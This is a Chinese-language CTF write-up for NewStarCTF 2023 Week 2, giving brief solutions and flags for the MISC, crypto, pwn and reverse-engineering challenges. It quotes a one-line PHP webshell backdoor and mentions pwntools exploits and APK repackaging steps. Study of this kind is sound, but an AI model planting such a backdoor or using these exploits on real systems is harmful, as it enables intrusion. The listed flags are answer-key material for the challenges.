NewStarCTF2023_Week2_WP
NewStarCTF2023-系列:
MISC
永不消逝的电波
一听就是摩斯电码 Audacity打开
1 | ..-. .-.. .- --. - .... . -... . ... - -.-. - ..-. . .-. .. ... -.-- --- ..- |
flag
flag{thebestctferisyou}
新建Word文档
把选项里面的隐藏文字打开
或者把.docx改为.zip
在document.xml里能找到隐藏内容
新佛曰编码
flag
flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}
1-序章
sql盲注日志分析,找了脚本,改一下就能用,python2运行一下就行
1 | import re |
flag
flag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}
base!
base64隐写
1 | import re |
flag
flag{b4se_1s_4_g0od_c0d3}
WebShell的利用
1 |
|
得到webshell
1 | error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']); |
jvav
java盲水印
BlindWatermark
flag
flag{3bb3c3a628a94c}
Crypto
不止一个pi
问一下GPT出脚本
1 | import gmpy2 |
flag
flag{bu_zhi_yige_p1dsaf}
Rotate_Xor
照着脚本反着写就行
但是按flag的意思,Z3才是正解?不管了
1 | from pwn import xor |
flag
flag{z3_s0lv3r_15_bri11i4nt}
滴啤
RSA dp泄露
1 | import gmpy2 |
flag
flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}
halfcandecode
第一部分RSA,第二部分MD5
1 |
|
flag
flag{two_cloabcse_t0_fact0r}
partial decrypt
乘以逆元直接恢复
1 | from Crypto.Util.number import * |
flag
flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}
Brocast
RSA 广播攻击
1 | from gmpy2 import * |
flag
flag{d0_n0t_sh0ut_loud1y_1n_th3_d4rk_f0r3st}
PWN
canary
1 | from pwn import * |
secret number
1 | from pwn import * |
ret2libc
1 | from pwn import * |
Reverse
PZthon
pyinstxtractor 解包,是python 3.9的
uncompyle6 不支持3.9,考虑pycdc
1 | def hello(): |
直接解
exp
1 | enc = [ |
flag
flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}
Petals
花指令
nop一下
在120A处按p生成函数
主函数中可知长度为25,最终flag要md5
exp
1 |
|
flag
flag{d780c9b2d2aa9d40010a753bc15770de}
C?C++?
.net逆向用dnSpy
找到main,反着操作即可
exp
1 |
|
flag
flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}
AndroGenshin
jadx 打开找到mainactivity
base64_table中有一个ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION
询问ChatGPT得值为250
然后分别看it_is_not_rc4和it_is_not_base64
就是rc4加密和base64编码,写脚本梭一下就可以
exp
1 | import base64 |
flag
flag{0h_RC4_w1th_Base64!!}
SMC
明显的SMC
先看看 sub_401042,这是SMC加密函数
idapython脚本运行一下,解SMC
1 | addr = 0x403040 |
选中0x403040到0x403068的内容按C生成汇编代码(记得force,analyze会失败),再按P生成函数
得到加密函数
提取一下byte_403020解密就行
exp
1 | enc = [ |
flag
flag{SMC_1S_1nt3r3sting!!R1ght?}
easy_enc
flag 限定是大小写字母,可以考虑爆破
先看汇编获取enc,伪代码不直观(在这里被坑了好久,就因为少了一位字符串结尾的0x00)
加密在sub_1400113C5;sub_1400113CA;sub_1400113F2;sub_1400113ED;里
exp
1 | enc = [ |
flag
flag{BruteForceIsAGoodwaytoGetFlag}
R4ndom
这题因为随机数问题卡了好久
Linux下的rand()和Windows下的rand()跑出来的随机数是不同的
主函数很简单,随机出一个长度为42的随机数列,然后用这随机数列和flag计算出一个下标
最后去Table中寻找对应字符得到s2,s2注意小端序
在函数b(void)中找到随机数种子
先在linux下跑出随机数列
1 |
|
最后直接爆破
exp
1 |
|
flag
flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9}
AndroDbgMe(未做出,复盘)
要用到APKTool
还需要Android SDK
以及JEB Decompiler
先用APKTool解包
java -jar apktool_2.8.1.jar d AndroDbgme.apk
在解包出来的文件中的AndroidManifest.xml中添加
debuggable="true"
重新打包
java -jar apktool_2.8.1.jar b AndroDbgme -o AndroDbgme_unsigned.apk
对文件进行对齐
zipalign -p -f -v 4 AndroDbgme.apk AndroDbgme_unsigned.apk
生成keystore
keytool -genkey -alias abc.keystore -keyalg RSA -validity 20000 -keystore abc.keystore
加签名
apksigner sign --ks abc.keystore AndroDbgme_unsigned.apk
安装至模拟器,以调试模式启动
1 | adb shell |
运行jeb_wincon.bat
打开AndroDbgme_unsigned.apk
-debugger-start
attach之后,点击 let’s go即可
flag
flag{Let_1t_run_@t_f1rs7_m@ybe_th3_b3st}